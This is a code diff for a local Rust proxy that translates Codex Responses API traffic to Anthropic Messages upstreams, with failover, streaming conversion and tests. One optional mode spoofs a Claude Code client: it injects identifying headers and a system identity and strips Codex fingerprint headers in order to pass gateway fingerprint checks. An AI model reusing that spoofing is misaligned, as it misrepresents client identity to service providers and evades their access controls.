saw_anthropic_version = false; @@ -1723,6 +1841,37 @@ impl RequestForwarder { continue; } + // --- x-app — during Codex→Anthropic emulation, `cli` is injected uniformly below --- + if codex_impersonate_claude_code && key_str.eq_ignore_ascii_case("x-app") { + continue; + } + + // --- Codex/OpenAI fingerprint headers — never leak to an Anthropic upstream --- + // These are client/session identifiers from the incoming Codex request, + // not Anthropic protocol headers. Forwarding them both leaks identity and + // can defeat strict gateway fingerprint checks. + // The full set lives in `is_codex_client_fingerprint_header` so it stays in one + // place. (HeaderName is lowercased by the http crate, so a direct match is safe.) + if codex_responses_to_anthropic && is_codex_client_fingerprint_header(key_str) { + continue; + } + + // --- accept — force application/json on the Codex→Anthropic path --- + // The Codex CLI sends `Accept: text/event-stream`, whereas a native + // Anthropic client sends `application/json` (streaming is driven by + // the body's stream:true). Strict Anthropic gateways return 406 Not + // Acceptable for an event-stream Accept, so normalize it here. + if codex_responses_to_anthropic && key_str.eq_ignore_ascii_case("accept") { + if !saw_accept { + saw_accept = true; + ordered_headers.append( + http::header::ACCEPT, + http::HeaderValue::from_static("application/json"), + ); + } + continue; + } + // --- accept-encoding — transform / SSE 路径强制 identity,其余保留原值 --- if key_str.eq_ignore_ascii_case("accept-encoding") { if !saw_accept_encoding { @@ -1801,6 +1950,19 @@ impl RequestForwarder { ); } + // On the Codex→Anthropic path, add application/json when Accept is missing (matching a native Anthropic client). + if codex_responses_to_anthropic && !saw_accept { + ordered_headers.append( + http::header::ACCEPT, + http::HeaderValue::from_static("application/json"), + ); + } + + // Codex→Anthropic emulation: inject Claude Code's x-app: cli + if codex_impersonate_claude_code { + ordered_headers.append("x-app", http::HeaderValue::from_static("cli")); + } + if !saw_user_agent { if let Some(ref ua) = custom_user_agent { ordered_headers.append(http::header::USER_AGENT, ua.clone()); @@ -1816,8 +1978,13 @@ impl RequestForwarder { } } - // anthropic-version:仅在缺失时补充默认值 - if should_send_anthropic_headers && !saw_anthropic_version { + // anthropic-version: add the default only when it is missing. + // The Codex→Anthropic path also needs this header. Note this is independent + // of anthropic-beta: the Claude Code-specific beta is only sent when + // impersonation is on (handled above); on the plain Codex→Anthropic path + // (impersonation off) anthropic-version is still required but no beta is sent. + if (should_send_anthropic_headers || codex_responses_to_anthropic) && !saw_anthropic_version + { ordered_headers.append( "anthropic-version", http::HeaderValue::from_static("2023-06-01"), @@ -1960,9 +2127,18 @@ impl RequestForwarder { let status = response.status(); if status.is_success() { - let response = self + let mut response = self .prepare_success_response_for_failover(response, request_is_streaming) .await?; + // Streaming requests normally return SSE. If a compatible gateway + // explicitly returns JSON instead, buffer and validate it inside the retry + // loop as well so a 2xx Anthropic error envelope can still fail over. Do + // not buffer unknown content types: some gateways omit the SSE header. + if codex_responses_to_anthropic && (!request_is_streaming || response.is_json()) { + response = self + .validate_codex_anthropic_success_response(response) + .await?; + } Ok((response, resolved_claude_api_format, outbound_model)) } else { let status_code = status.as_u16(); @@ -2020,6 +2196,34 @@ impl RequestForwarder { Ok(ProxyResponse::buffered(status, headers, body)) } + /// Some Anthropic-compatible gateways return an Anthropic error envelope with + /// HTTP 2xx. Validate it inside the retry loop so the request can fail over to + /// the next provider; the response transformer runs too late for that. + async fn validate_codex_anthropic_success_response( + &self, + response: ProxyResponse, + ) -> Result { + let status = response.status(); + let headers = response.headers().clone(); + let encoding = get_content_encoding(&headers); + let raw = response.bytes().await?; + let decoded = match encoding { + Some(encoding) => match decompress_body(&encoding, &raw) { + Ok(Some(decompressed)) => decompressed, + _ => raw.to_vec(), + }, + None => raw.to_vec(), + }; + + if let Some(message) = codex_anthropic_error_envelope_message(&decoded) { + return Err(ProxyError::TransformError(format!( + "Anthropic upstream returned a 2xx error envelope: {message}" + ))); + } + + Ok(ProxyResponse::buffered(status, headers, raw)) + } + async fn prime_streaming_response( &self, response: ProxyResponse, @@ -2355,6 +2559,111 @@ fn rewrite_codex_responses_endpoint_to_chat(endpoint: &str) -> (String, Option = vec![identity]; + match body.get("system") { + Some(Value::String(existing)) if !existing.is_empty() => { + blocks.push(serde_json::json!({ "type": "text", "text": existing })); + } + Some(Value::Array(existing)) => { + // Idempotent: skip re-injection if the first block is already the identity line. + if existing + .first() + .and_then(|b| b.get("text")) + .and_then(|t| t.as_str()) + == Some(CLAUDE_CODE_SYSTEM_IDENTITY) + { + return; + } + blocks.extend(existing.iter().cloned()); + } + _ => {} + } + body["system"] = Value::Array(blocks); +} + +/// Headers a native Claude Code client never sends but the Codex/OpenAI CLI (and its +/// stainless SDK layer) do. Dropped for every Codex→Anthropic request so the upstream sees a +/// clean Anthropic client fingerprint. Centralized here so the set stays in one place and future +/// additions can't miss a code path. `key_str` is already lowercased by the http crate. +/// Whether `base_url` already ends in `endpoint_suffix` (e.g. `/v1/messages` or +/// `/chat/completions`), ignoring surrounding whitespace, any `?query`/`#fragment`, and a +/// trailing slash. Used to avoid double-appending the endpoint when a user pastes a full +/// URL but leaves the "full URL" switch off (`.../v1/messages` → `.../v1/messages/v1/messages`, +/// a non-retryable 400). `endpoint_suffix` must be lowercase. +fn base_url_is_full_endpoint(base_url: &str, endpoint_suffix: &str) -> bool { + let trimmed = base_url.trim(); + // Match against the path only: a `?query`/`#fragment` on a full endpoint URL must not + // hide the suffix (`.../v1/messages?beta=true` still ends in the endpoint). + let path = match trimmed.split_once(['?', '#']) { + Some((head, _)) => head, + None => trimmed, + }; + path.trim_end_matches('/') + .to_ascii_lowercase() + .ends_with(endpoint_suffix) +} + +fn is_codex_client_fingerprint_header(key_str: &str) -> bool { + matches!( + key_str, + "originator" + | "session_id" + | "session-id" + | "thread-id" + | "conversation_id" + | "chatgpt-account-id" + | "x-openai-subagent" + | "x-client-request-id" + | "openai-beta" + | "openai-organization" + | "openai-project" + ) || key_str.starts_with("x-stainless-") + || key_str.starts_with("x-codex-") +} + +fn codex_anthropic_error_envelope_message(body: &[u8]) -> Option { + let value: Value = serde_json::from_slice(body).ok()?; + if value.get("type").and_then(Value::as_str) != Some("error") && value.get("error").is_none() { + return None; + } + let error = value.get("error").unwrap_or(&value); + let error_type = error.get("type").and_then(Value::as_str).unwrap_or("error"); + let message = error + .get("message") + .and_then(Value::as_str) + .or_else(|| error.as_str()) + .map(str::to_string) + .unwrap_or_else(|| error.to_string()); + Some(format!("{error_type}: {message}")) +} + +/// Rewrite Codex's `/responses` (and variants) to Anthropic's `/v1/messages`, preserving the query. +fn rewrite_codex_responses_endpoint_to_anthropic(endpoint: &str) -> (String, Option) { + let (_path, query) = split_endpoint_and_query(endpoint); + let passthrough_query = query.map(ToString::to_string); + let target_path = "/v1/messages"; + let rewritten = match passthrough_query.as_deref() { + Some(query) if !query.is_empty() => format!("{target_path}?{query}"), + _ => target_path.to_string(), + }; + + (rewritten, passthrough_query) +} + fn rewrite_claude_transform_endpoint( endpoint: &str, api_format: &str, @@ -3347,6 +3656,157 @@ mod tests { assert_eq!(passthrough_query.as_deref(), Some("foo=bar")); } + #[test] + fn prepend_claude_code_system_prompt_from_string() { + let mut body = json!({ "system": "You are a Codex agent." }); + prepend_claude_code_system_prompt(&mut body); + let system = body["system"].as_array().unwrap(); + assert_eq!(system[0]["text"], CLAUDE_CODE_SYSTEM_IDENTITY); + assert_eq!(system[1]["text"], "You are a Codex agent."); + } + + #[test] + fn prepend_claude_code_system_prompt_when_absent() { + let mut body = json!({}); + prepend_claude_code_system_prompt(&mut body); + let system = body["system"].as_array().unwrap(); + assert_eq!(system.len(), 1); + assert_eq!(system[0]["text"], CLAUDE_CODE_SYSTEM_IDENTITY); + } + + #[test] + fn prepend_claude_code_system_prompt_is_idempotent() { + let mut body = json!({ "system": "orig" }); + prepend_claude_code_system_prompt(&mut body); + prepend_claude_code_system_prompt(&mut body); + let system = body["system"].as_array().unwrap(); + assert_eq!(system.len(), 2); + assert_eq!(system[0]["text"], CLAUDE_CODE_SYSTEM_IDENTITY); + assert_eq!(system[1]["text"], "orig"); + } + + #[test] + fn rewrite_codex_responses_endpoint_to_anthropic_preserves_query() { + let (endpoint, passthrough_query) = + rewrite_codex_responses_endpoint_to_anthropic("/responses?x=1"); + assert_eq!(endpoint, "/v1/messages?x=1"); + assert_eq!(passthrough_query.as_deref(), Some("x=1")); + + let (endpoint, _) = rewrite_codex_responses_endpoint_to_anthropic("/v1/responses"); + assert_eq!(endpoint, "/v1/messages"); + } + + #[test] + fn codex_anthropic_full_endpoint_guard_avoids_double_messages() { + // On the Codex→Anthropic path a base URL already ending in `/v1/messages` (switch + // off) must be treated as a full endpoint by the real `base_url_is_full_endpoint`. + + // Without the guard, build_url would concatenate the pasted endpoint with the + // rewritten `/v1/messages` target, producing a broken double suffix. + use super::super::providers::ProviderAdapter; + let doubled = super::super::providers::CodexAdapter::new() + .build_url("https://host.example/v1/messages", "/v1/messages"); + assert_eq!(doubled, "https://host.example/v1/messages/v1/messages"); + + // With the guard, the pasted URL is used verbatim (plus preserved query). Includes + // query/fragment/whitespace suffixes, which must not hide the endpoint (fix: a base + // like `.../v1/messages?beta=true` previously evaded the suffix check). + for base in [ + "https://host.example/v1/messages", + "https://host.example/v1/messages/", + "https://host.example/api/v1/messages", // prefixed gateway + "https://host.example/v1/messages?beta=true", + "https://host.example/v1/messages/?beta=true", + "https://host.example/v1/messages#frag", + " https://host.example/v1/messages ", + ] { + assert!( + base_url_is_full_endpoint(base, "/v1/messages"), + "expected full-endpoint match: {base:?}" + ); + } + assert_eq!( + append_query_to_full_url("https://host.example/v1/messages", Some("x=1")), + "https://host.example/v1/messages?x=1" + ); + // A base URL that already carries its own query is preserved verbatim (no double + // `/v1/messages`, query kept). + assert_eq!( + append_query_to_full_url("https://host.example/v1/messages?beta=true", None), + "https://host.example/v1/messages?beta=true" + ); + + // A non-endpoint base (origin/prefix) must NOT match, so build_url still appends. + assert!(!base_url_is_full_endpoint( + "https://host.example", + "/v1/messages" + )); + assert!(!base_url_is_full_endpoint( + "https://host.example/v1", + "/v1/messages" + )); + // The shared helper also backs the Chat path's `/chat/completions` guard. + assert!(base_url_is_full_endpoint( + "https://host.example/v1/chat/completions?api-version=2024", + "/chat/completions" + )); + } + + #[test] + fn codex_client_fingerprint_headers_are_dropped_for_anthropic_upstreams() { + // Codex/OpenAI fingerprints a native Claude Code client never sends → must drop. + for header in [ + "originator", + "session_id", + "session-id", + "thread-id", + "conversation_id", + "chatgpt-account-id", + "x-openai-subagent", + "x-client-request-id", + "x-codex-window-id", + "openai-beta", + "openai-organization", + "openai-project", + "x-stainless-lang", + "x-stainless-runtime", + "x-codex-turn-id", + ] { + assert!( + is_codex_client_fingerprint_header(header), + "expected {header} to be dropped while impersonating Claude Code" + ); + } + + // Headers a real Claude Code client sends (or that the forwarder rebuilds) must + // NOT be caught by the denylist. + for header in [ + "anthropic-version", + "anthropic-beta", + "user-agent", + "accept", + "content-type", + "x-app", + ] { + assert!( + !is_codex_client_fingerprint_header(header), + "{header} must be preserved while impersonating Claude Code" + ); + } + } + + #[test] + fn codex_anthropic_2xx_error_envelope_is_detected_for_failover() { + let body = br#"{"type":"error","error":{"type":"overloaded_error","message":"busy"}}"#; + assert_eq!( + codex_anthropic_error_envelope_message(body).as_deref(), + Some("overloaded_error: busy") + ); + assert!( + codex_anthropic_error_envelope_message(br#"{"type":"message","content":[]}"#).is_none() + ); + } + #[test] fn rewrite_codex_responses_compact_endpoint_to_chat_preserves_query() { let (endpoint, passthrough_query) = diff --git a/src-tauri/src/proxy/handlers.rs b/src-tauri/src/proxy/handlers.rs index 35c3062ee..9cca3d80a 100644 --- a/src-tauri/src/proxy/handlers.rs +++ b/src-tauri/src/proxy/handlers.rs @@ -18,12 +18,18 @@ use super::{ handler_context::RequestContext, providers::{ codex_chat_common::extract_reasoning_field_text, - codex_chat_history::record_responses_sse_stream, get_adapter, get_claude_api_format, + codex_chat_history::record_responses_sse_stream, + get_adapter, get_claude_api_format, streaming::create_anthropic_sse_stream, + streaming_codex_anthropic::{ + create_responses_sse_stream_from_anthropic_with_context, + responses_sse_events_from_anthropic_message, + }, streaming_codex_chat::create_responses_sse_stream_from_chat_with_context, streaming_gemini::create_anthropic_sse_stream_from_gemini, - streaming_responses::create_anthropic_sse_stream_from_responses, transform, - transform_codex_chat, transform_gemini, transform_responses, + streaming_responses::create_anthropic_sse_stream_from_responses, + transform, transform_codex_anthropic, transform_codex_chat, transform_gemini, + transform_responses, }, response_processor::{ create_logged_passthrough_stream, process_response, read_decoded_body, @@ -739,6 +745,18 @@ pub async fn handle_responses( ctx.provider = result.provider; let response = result.response; + if super::providers::should_convert_codex_responses_to_anthropic(&ctx.provider, &endpoint) { + return handle_codex_anthropic_to_responses_transform( + response, + &ctx, + &state, + is_stream, + connection_guard, + codex_tool_context, + ) + .await; + } + if super::providers::should_convert_codex_responses_to_chat(&ctx.provider, &endpoint) { return handle_codex_chat_to_responses_transform( response, @@ -818,6 +836,18 @@ pub async fn handle_responses_compact( ctx.provider = result.provider; let response = result.response; + if super::providers::should_convert_codex_responses_to_anthropic(&ctx.provider, &endpoint) { + return handle_codex_anthropic_to_responses_transform( + response, + &ctx, + &state, + is_stream, + connection_guard, + codex_tool_context, + ) + .await; + } + if super::providers::should_convert_codex_responses_to_chat(&ctx.provider, &endpoint) { return handle_codex_chat_to_responses_transform( response, @@ -1065,6 +1095,255 @@ async fn handle_codex_chat_to_responses_transform( }) } +/// Response-transform handler for the Codex (Responses) ↔ Anthropic Messages gateway. +/// +/// Parallel to `handle_codex_chat_to_responses_transform`: the upstream speaks +/// Anthropic Messages, and this converts the response back into the Responses form +/// Codex expects (both streaming and non-streaming). Error bodies reuse +/// `handle_codex_chat_error_response` (whose extraction logic also works for +/// Anthropic's `{"error":{type,message}}`). It does not involve codex_chat_history +/// (tool ids round-trip natively through Anthropic). +async fn handle_codex_anthropic_to_responses_transform( + response: super::hyper_client::ProxyResponse, + ctx: &RequestContext, + state: &ProxyState, + is_stream: bool, + connection_guard: Option, + codex_tool_context: transform_codex_chat::CodexToolContext, +) -> Result { + let status = response.status(); + + if !status.is_success() { + return handle_codex_chat_error_response(response, ctx, status).await; + } + + // Preserve live streaming when the gateway marks SSE correctly or omits an + // explicit JSON media type. Explicit JSON is buffered below so 2xx error + // envelopes and gateways that ignore stream:true can be converted faithfully. + if response.is_sse() || (is_stream && !response.is_json()) { + let stream = response.bytes_stream(); + let sse_stream = + create_responses_sse_stream_from_anthropic_with_context(stream, codex_tool_context); + return build_codex_anthropic_sse_response( + sse_stream, + ctx, + state, + status, + connection_guard, + ); + } + + let body_timeout = + if ctx.app_config.auto_failover_enabled && ctx.app_config.non_streaming_timeout > 0 { + std::time::Duration::from_secs(ctx.app_config.non_streaming_timeout as u64) + } else { + std::time::Duration::ZERO + }; + let (mut response_headers, status, body_bytes) = + read_decoded_body(response, ctx.tag, body_timeout).await?; + let body_str = String::from_utf8_lossy(&body_bytes); + let anthropic_response: Value = match serde_json::from_slice(&body_bytes) { + Ok(value) => value, + // Fallback sniffing symmetric to the chat / claude side (#2234): when the + // upstream returns an Anthropic SSE body with an unmarked Content-Type, + // aggregate it back into a message before continuing the conversion. + Err(_) if body_looks_like_sse(&body_str) => { + log::warn!("[Codex] Upstream returned an unmarked Anthropic SSE body, falling back to aggregation"); + transform_codex_anthropic::anthropic_sse_to_message_value(&body_str).map_err(|e| { + log::error!("[Codex] Failed to aggregate Anthropic SSE body: {e}"); + e + })? + } + Err(e) => { + log::error!( + "[Codex] Failed to parse Anthropic upstream response: {e}, body: {body_str}" + ); + return Err(upstream_body_parse_error( + "Failed to parse upstream anthropic response", + &e, + &response_headers, + &body_str, + )); + } + }; + + if is_stream { + let events = + responses_sse_events_from_anthropic_message(&anthropic_response, codex_tool_context); + let sse_stream = futures::stream::iter(events.into_iter().map(Ok::)); + return build_codex_anthropic_sse_response( + sse_stream, + ctx, + state, + status, + connection_guard, + ); + } + + let _connection_guard = connection_guard; + let responses_response = + transform_codex_anthropic::anthropic_response_to_responses_with_context( + anthropic_response, + &codex_tool_context, + ) + .map_err(|e| { + log::error!("[Codex] Failed to convert Anthropic response to Responses: {e}"); + e + })?; + + if let Some(usage) = TokenUsage::from_codex_response_auto(&responses_response) + .filter(TokenUsage::has_billable_tokens) + { + let model = responses_response + .get("model") + .and_then(|m| m.as_str()) + .filter(|m| !m.is_empty()) + .map(str::to_string) + .or_else(|| ctx.outbound_model.clone()) + .unwrap_or_else(|| ctx.request_model.clone()); + let request_model = ctx.request_model.clone(); + let outbound_model = ctx + .outbound_model + .clone() + .unwrap_or_else(|| ctx.request_model.clone()); + let app_type_str = ctx.app_type_str; + tokio::spawn({ + let state = state.clone(); + let provider_id = ctx.provider.id.clone(); + let session_id = ctx.session_id.clone(); + let latency_ms = ctx.latency_ms(); + async move { + log_usage( + &state, + &provider_id, + app_type_str, + &model, + &request_model, + &outbound_model, + usage, + latency_ms, + None, + false, + status.as_u16(), + Some(session_id), + ) + .await; + } + }); + } + + strip_entity_headers_for_rebuilt_body(&mut response_headers); + strip_hop_by_hop_response_headers(&mut response_headers); + response_headers.remove(axum::http::header::CONTENT_TYPE); + + let mut builder = axum::response::Response::builder().status(status); + for (key, value) in response_headers.iter() { + builder = builder.header(key, value); + } + builder = builder.header( + axum::http::header::CONTENT_TYPE, + axum::http::HeaderValue::from_static("application/json"), + ); + + let response_body = serde_json::to_vec(&responses_response).map_err(|e| { + log::error!("[Codex] Failed to serialize Responses response: {e}"); + ProxyError::TransformError(format!("Failed to serialize responses response: {e}")) + })?; + + builder + .body(axum::body::Body::from(response_body)) + .map_err(|e| { + log::error!("[Codex] Failed to build Responses response: {e}"); + ProxyError::Internal(format!("Failed to build response: {e}")) + }) +} + +fn build_codex_anthropic_sse_response( + sse_stream: impl futures::Stream> + Send + 'static, + ctx: &RequestContext, + state: &ProxyState, + status: StatusCode, + connection_guard: Option, +) -> Result { + let usage_collector = if usage_logging_enabled(state) { + let state = state.clone(); + let provider_id = ctx.provider.id.clone(); + let request_model = ctx.request_model.clone(); + let fallback_model = ctx + .outbound_model + .clone() + .unwrap_or_else(|| ctx.request_model.clone()); + let app_type_str = ctx.app_type_str; + let start_time = ctx.start_time; + let session_id = ctx.session_id.clone(); + + Some(SseUsageCollector::new( + start_time, + Some(codex_stream_usage_event_filter), + move |events, first_token_ms| { + let usage = TokenUsage::from_codex_stream_events_auto(&events).unwrap_or_default(); + if !usage.has_billable_tokens() { + log::debug!("[Codex] Anthropic streaming response usage is all-zero or missing, skipping usage recording"); + return; + } + let model = usage + .model + .clone() + .filter(|m| !m.is_empty()) + .unwrap_or_else(|| fallback_model.clone()); + let latency_ms = start_time.elapsed().as_millis() as u64; + + let state = state.clone(); + let provider_id = provider_id.clone(); + let request_model = request_model.clone(); + let outbound_model = fallback_model.clone(); + let session_id = session_id.clone(); + + tokio::spawn(async move { + log_usage( + &state, + &provider_id, + app_type_str, + &model, + &request_model, + &outbound_model, + usage, + latency_ms, + first_token_ms, + true, + status.as_u16(), + Some(session_id), + ) + .await; + }); + }, + )) + } else { + None + }; + + let logged_stream = create_logged_passthrough_stream( + sse_stream, + ctx.tag, + usage_collector, + ctx.streaming_timeout_config(), + connection_guard, + ); + + let mut headers = axum::http::HeaderMap::new(); + headers.insert( + "Content-Type", + axum::http::HeaderValue::from_static("text/event-stream"), + ); + headers.insert( + "Cache-Control", + axum::http::HeaderValue::from_static("no-cache"), + ); + + let body = axum::body::Body::from_stream(logged_stream); + Ok((headers, body).into_response()) +} + /// 把上游 Chat Completions 的错误响应转换为 Responses API 错误形状。 /// /// 与正常响应分支配套:正常响应已经被改写成 Responses 形式,错误响应若仍保留 diff --git a/src-tauri/src/proxy/hyper_client.rs b/src-tauri/src/proxy/hyper_client.rs index 097542a92..63ff0f998 100644 --- a/src-tauri/src/proxy/hyper_client.rs +++ b/src-tauri/src/proxy/hyper_client.rs @@ -142,6 +142,21 @@ impl ProxyResponse { .unwrap_or(false) } + /// Check whether the response explicitly declares a JSON media type. + pub fn is_json(&self) -> bool { + self.content_type() + .map(|content_type| { + let media_type = content_type + .split(';') + .next() + .unwrap_or("") + .trim() + .to_ascii_lowercase(); + media_type == "application/json" || media_type.ends_with("+json") + }) + .unwrap_or(false) + } + /// Consume the response and collect the full body into `Bytes`. pub async fn bytes(self) -> Result { match self { @@ -737,3 +752,27 @@ impl tokio::io::AsyncWrite for WriteFilter { std::task::Poll::Ready(Ok(())) } } + +#[cfg(test)] +mod tests { + use super::*; + + fn buffered_with_content_type(content_type: Option<&str>) -> ProxyResponse { + let mut headers = http::HeaderMap::new(); + if let Some(content_type) = content_type { + headers.insert( + http::header::CONTENT_TYPE, + http::HeaderValue::from_str(content_type).unwrap(), + ); + } + ProxyResponse::buffered(http::StatusCode::OK, headers, Bytes::new()) + } + + #[test] + fn json_content_type_detection_accepts_json_suffixes() { + assert!(buffered_with_content_type(Some("application/json; charset=utf-8")).is_json()); + assert!(buffered_with_content_type(Some("application/problem+json")).is_json()); + assert!(!buffered_with_content_type(Some("text/event-stream")).is_json()); + assert!(!buffered_with_content_type(None).is_json()); + } +} diff --git a/src-tauri/src/proxy/providers/codex.rs b/src-tauri/src/proxy/providers/codex.rs index 35ada150a..cf714bbb2 100644 --- a/src-tauri/src/proxy/providers/codex.rs +++ b/src-tauri/src/proxy/providers/codex.rs @@ -84,6 +84,72 @@ pub fn should_convert_codex_responses_to_chat(provider: &Provider, endpoint: &st ) && codex_provider_uses_chat_completions(provider) } +/// Whether this Codex provider's real upstream speaks the native Anthropic +/// Messages protocol (`/v1/messages`). The local Codex client always talks to CC +/// Switch through the Responses API, so CC Switch bridges Responses ⇄ Anthropic. +/// +/// Determined solely from explicit config (apiFormat / wire_api); no base_url +/// guessing — Anthropic gateway addresses vary widely and guessing easily misfires. +pub fn codex_provider_uses_anthropic(provider: &Provider) -> bool { + if let Some(api_format) = provider + .meta + .as_ref() + .and_then(|meta| meta.api_format.as_deref()) + .or_else(|| { + provider + .settings_config + .get("api_format") + .and_then(|v| v.as_str()) + }) + .or_else(|| { + provider + .settings_config + .get("apiFormat") + .and_then(|v| v.as_str()) + }) + { + return is_anthropic_wire_api(api_format); + } + + provider + .settings_config + .get("config") + .and_then(|v| v.as_str()) + .and_then(extract_codex_wire_api_from_toml) + .map(|wire_api| is_anthropic_wire_api(&wire_api)) + .unwrap_or(false) +} + +pub fn should_convert_codex_responses_to_anthropic(provider: &Provider, endpoint: &str) -> bool { + let path = endpoint + .split_once('?') + .map_or(endpoint, |(path, _query)| path); + + matches!( + path, + "/responses" | "/v1/responses" | "/responses/compact" | "/v1/responses/compact" + ) && codex_provider_uses_anthropic(provider) +} + +/// Resolve the model-catalog tool profile for a Codex provider using the SAME +/// Anthropic detection as the proxy router ([`codex_provider_uses_anthropic`]), so the +/// generated catalog never disagrees with the routed transform. A provider whose +/// Anthropic upstream is declared only via settings `apiFormat` or TOML `wire_api` +/// (not `meta.api_format`) would otherwise get a `ProxyChat` catalog and emit the +/// freeform `apply_patch` tool that the Anthropic transform then silently drops. +/// Non-Anthropic providers keep the existing `meta.api_format` classification. +pub fn resolve_codex_catalog_tool_profile( + provider: &Provider, +) -> crate::codex_config::CodexCatalogToolProfile { + use crate::codex_config::CodexCatalogToolProfile; + if codex_provider_uses_anthropic(provider) { + return CodexCatalogToolProfile::Anthropic; + } + CodexCatalogToolProfile::from_api_format( + provider.meta.as_ref().and_then(|m| m.api_format.as_deref()), + ) +} + /// Extract the real upstream model configured for a Codex provider. pub fn codex_provider_upstream_model(provider: &Provider) -> Option { provider @@ -129,7 +195,13 @@ pub fn apply_codex_chat_upstream_model( if !codex_provider_uses_chat_completions(provider) { return None; } + apply_codex_upstream_model(provider, body) +} +/// Same model-substitution logic as `apply_codex_chat_upstream_model`, but without +/// the chat gating check. Reused by the anthropic conversion path (the forwarder has +/// already confirmed this provider uses anthropic). +pub fn apply_codex_upstream_model(provider: &Provider, body: &mut JsonValue) -> Option { let catalog_model_ids = codex_provider_catalog_model_ids(provider); if let Some(request_model) = body .get("model") @@ -345,6 +417,13 @@ fn is_chat_wire_api(value: &str) -> bool { ) } +fn is_anthropic_wire_api(value: &str) -> bool { + matches!( + value.trim().to_ascii_lowercase().as_str(), + "anthropic" | "anthropic_messages" | "anthropic-messages" | "claude" | "messages" + ) +} + fn is_chat_completions_url(value: &str) -> bool { value .trim_end_matches('/') @@ -527,8 +606,28 @@ impl ProviderAdapter for CodexAdapter { } fn extract_auth(&self, provider: &Provider) -> Option { + // Anthropic upstream: the auth field is chosen by the user in the UI (meta.apiKeyField). + // ANTHROPIC_API_KEY → x-api-key (AuthStrategy::Anthropic) + // ANTHROPIC_AUTH_TOKEN → Authorization: Bearer (default, AuthStrategy::Bearer) + // The two are mutually exclusive to avoid a 401 from the gateway receiving + // both auth headers at once. All other Codex upstreams stay pure Bearer. + let strategy = if codex_provider_uses_anthropic(provider) { + let uses_x_api_key = provider + .meta + .as_ref() + .and_then(|meta| meta.api_key_field.as_deref()) + .map(|field| field.eq_ignore_ascii_case("ANTHROPIC_API_KEY")) + .unwrap_or(false); + if uses_x_api_key { + AuthStrategy::Anthropic + } else { + AuthStrategy::Bearer + } + } else { + AuthStrategy::Bearer + }; self.extract_key(provider) - .map(|key| AuthInfo::new(key, AuthStrategy::Bearer)) + .map(|key| AuthInfo::new(key, strategy)) } fn build_url(&self, base_url: &str, endpoint: &str) -> String { @@ -569,6 +668,15 @@ impl ProviderAdapter for CodexAdapter { ) -> Result, ProxyError> { use super::adapter::auth_header_value; let bearer = format!("Bearer {}", auth.api_key); + // Anthropic gateway: send only x-api-key (anthropic-version is filled in by + // the forwarder). Mutually exclusive with Bearer to avoid a 401 from the + // gateway receiving both auth headers at once. + if auth.strategy == AuthStrategy::Anthropic { + return Ok(vec![( + http::HeaderName::from_static("x-api-key"), + auth_header_value(&auth.api_key)?, + )]); + } Ok(vec![( http::HeaderName::from_static("authorization"), auth_header_value(&bearer)?, @@ -662,6 +770,197 @@ experimental_bearer_token = "sk-config-key" assert_eq!(url, "https://api.openai.com/v1/responses"); } + // ==================== anthropic upstream detection ==================== + + #[test] + fn test_uses_anthropic_from_settings_api_format() { + let provider = create_provider(json!({ "apiFormat": "anthropic" })); + assert!(codex_provider_uses_anthropic(&provider)); + + let provider = create_provider(json!({ "api_format": "anthropic_messages" })); + assert!(codex_provider_uses_anthropic(&provider)); + } + + #[test] + fn test_uses_anthropic_from_meta_api_format() { + let mut provider = create_provider(json!({})); + provider.meta = Some(crate::provider::ProviderMeta { + api_format: Some("anthropic".to_string()), + ..Default::default() + }); + assert!(codex_provider_uses_anthropic(&provider)); + } + + #[test] + fn test_uses_anthropic_from_toml_wire_api() { + let provider = create_provider(json!({ + "config": r#"model_provider = "custom" + +[model_providers.custom] +wire_api = "anthropic" +"# + })); + assert!(codex_provider_uses_anthropic(&provider)); + } + + #[test] + fn test_anthropic_false_for_chat_and_responses() { + let chat = create_provider(json!({ "apiFormat": "openai_chat" })); + assert!(!codex_provider_uses_anthropic(&chat)); + let responses = create_provider(json!({ "apiFormat": "openai_responses" })); + assert!(!codex_provider_uses_anthropic(&responses)); + } + + #[test] + fn test_anthropic_and_chat_are_mutually_exclusive() { + let anth = create_provider(json!({ "apiFormat": "anthropic" })); + assert!(codex_provider_uses_anthropic(&anth)); + assert!(!codex_provider_uses_chat_completions(&anth)); + + let chat = create_provider(json!({ "apiFormat": "openai_chat" })); + assert!(codex_provider_uses_chat_completions(&chat)); + assert!(!codex_provider_uses_anthropic(&chat)); + } + + #[test] + fn test_should_convert_responses_to_anthropic_path_guard() { + let provider = create_provider(json!({ "apiFormat": "anthropic" })); + assert!(should_convert_codex_responses_to_anthropic( + &provider, + "/responses" + )); + assert!(should_convert_codex_responses_to_anthropic( + &provider, + "/v1/responses/compact" + )); + assert!(should_convert_codex_responses_to_anthropic( + &provider, + "/responses?x=1" + )); + assert!(!should_convert_codex_responses_to_anthropic( + &provider, + "/chat/completions" + )); + } + + #[test] + fn test_resolve_catalog_profile_matches_router() { + use crate::codex_config::CodexCatalogToolProfile; + + // Anthropic declared only via TOML wire_api (no meta.api_format) must still + // resolve to the Anthropic catalog profile — this is the routing/catalog + // divergence that let apply_patch leak through. + let toml_anthropic = create_provider(json!({ + "config": r#"model_provider = "custom" + +[model_providers.custom] +wire_api = "anthropic" +"# + })); + assert_eq!( + resolve_codex_catalog_tool_profile(&toml_anthropic), + CodexCatalogToolProfile::Anthropic + ); + + // Anthropic via settings apiFormat. + let settings_anthropic = create_provider(json!({ "apiFormat": "anthropic" })); + assert_eq!( + resolve_codex_catalog_tool_profile(&settings_anthropic), + CodexCatalogToolProfile::Anthropic + ); + + // Native openai_responses (meta) → NativeResponses; chat → ProxyChat. + let mut native = create_provider(json!({})); + native.meta = Some(crate::provider::ProviderMeta { + api_format: Some("openai_responses".to_string()), + ..Default::default() + }); + assert_eq!( + resolve_codex_catalog_tool_profile(&native), + CodexCatalogToolProfile::NativeResponses + ); + + let chat = create_provider(json!({ "apiFormat": "openai_chat" })); + assert_eq!( + resolve_codex_catalog_tool_profile(&chat), + CodexCatalogToolProfile::ProxyChat + ); + } + + #[test] + fn test_apply_codex_upstream_model_preserves_one_m_catalog_model() { + // Regression for the [1m] path: a request model carrying the [1m] marker must + // match its catalog entry and be preserved (not overridden by the provider + // default) so the transform can later strip [1m] and emit the context-1m beta. + // This only works because the forwarder no longer strips [1m] before this call + // on the Anthropic path. + let provider = create_provider(json!({ + "config": r#"model_provider = "custom" +model = "claude-opus-4-1" + +[model_providers.custom] +wire_api = "anthropic" +"#, + "modelCatalog": { + "models": [ + { "model": "claude-opus-4-1[1m]" } + ] + } + })); + let mut body = json!({ "model": "claude-opus-4-1[1m]", "input": "hi" }); + let result = apply_codex_upstream_model(&provider, &mut body); 